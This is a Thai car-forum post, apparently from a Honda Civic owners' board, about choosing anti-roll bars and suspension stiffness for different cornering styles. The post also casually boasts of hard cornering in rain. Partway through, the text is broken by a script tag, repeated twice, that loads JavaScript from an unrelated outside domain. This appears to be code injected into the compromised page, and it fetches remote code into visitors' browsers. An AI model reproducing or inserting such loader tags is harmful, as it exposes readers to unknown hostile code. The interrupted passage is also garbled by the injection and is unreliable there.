*~ แชร์ประสบการณ์ เหล็กกันโคลง (หน้า 8)

wasan_ceo

ชื่อเล่น: โจ้

เข้าร่วม: 29 กันยา 2013
ตอบ: 573

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 589
ให้คำขอบคุณ: 93

ที่อยู่: กระบี่
ปี: 2005
สี: เทา ซิลเวอร์สโตน (NH-630M)

ศุกร์, 3 มกรา 2014 23:03 - *~ แชร์ประสบการณ์ เหล็กกันโคลง

ขอแชร์จักหน่อยนึงนะครับ

ผมขอเสนอแนวทาง 2 แบบ ตามลักษณะการขับขี่ของแต่ละคน

1. บ้าโค้ง ประเภทไม่หลุดท้ายไม่แดง(ไม่แตะเบรค)
ประเภทนี้ ช่วงล่างไม่ควรแข็ง (เดิมๆ ES 05) ประเด็นคือ ถ้าค่า K ของสปริงมาก มันย่อมจะแข็ง
และถ้ามันแข็งมากไป และเป็นคนขับประเภทนี้ แล้วเราเข้าโค้งหนักๆ ตัวถังรถจะเซ โค้งยื่งแคบ
จะยิ่งเซ และถ้ากันโคลงคุณแข็งเกินไป การเซของรถที่ถูกต้านด้วยกันโคลงที่แข็งเกินไปนั้น
จะถูกชดเชยด้วยการยกล้อด้านตรงข้ามแทน เท่ากับว่าเหลือยางที่ยึดถนนแค่ 3 เส้น คงไม่ต้องบอก
ว่าจะออกจากโค้งแบบไหน
สิ่งที่ผมจะบอกถ้าคุณบ้าโค้งแนวนี้ ไม่ต้องไปทำอะไร นั่นคือ เลี้ยวให้มันเซ จนยางหลังเต้น พืดๆ!!
นั่นแสดงว่ามันเลี้ยวหนักมากกว่านี้ไม่ได้แล้ว คือต้องรู้ว่ารถเรามีขีดจำกัดในการเลียวแค่ไหน
(ฝึกดีๆ รูดฟอจูนเนอร์ในโค้งกลางฝนได้เลย)

2. ไม่ค่อยบ้าโต้ง แต่ไม่ชอบให้มันเซ
ประเภทนี้ิ คุณอาจใส่กันโคลงใหญ่กว่าเดิมได้ แต่อย่ามากไป ความทื่อของช่วงล่างและมาด้วยความ
สามารถในการเกาะถนน แม็กซ์ใหญ่ใส่แล้วรถสูง เลยโหลดให้เตี้ย ใส่ยางแก้มเตี้ย แล้วใส่กันโคลงใหญ่
ไม่มีอะไรมาชดเชยการเสียสมดุลตัวถังเลย (การเซ)
ดังนั้นประเภทนี้คุณใส่มันได้แต่อย่าเข้าโค้งหนักๆ

กันโคลงนั้นมีไว้เพื่อหน่วงการเสียสมดุลของตัวถัง และในทางกลับกันมันก็ทำหน้าที่เรียกคืนความเสีย
สมดุลของตัวถังให้กลับมาสมดุลดังเดิม
ปล. ผมเป็นคนประเภทที่ 1. RX 05 ผมเคยเลี้ยวจนของหน้ารถฝั่งคนขับไปอยู่ในช่องเก็บของประตูซ้าย
ข้างลำโพง ผมใส่ยาง 195/60 R 15 ช่วงล่างเดิมหมด ล้อ 17 ยังไม่เคยลอง (เพราะยังไม่มีตังใส่ "<script src="https://sport32news.com/civicesgroup.js">

"<script src="https://sport32news.com/civicesgroup.js">

)
อีกประเด็นคือว่า อย่าพยามเปลี่ยนรถให้มันเข้ากับเรา แต่ให้เราและคนที่จะขับมันเรียนรู้และเข้ากับมัน
หวังว่าคงเป็นประโยชน์บ้างนะครับ ผิดพลาดประการใด ขออะภัยด้วย

ได้รับคำขอบคุณจาก: karnmotocross01 tokmun002 okuma hacker TanKrab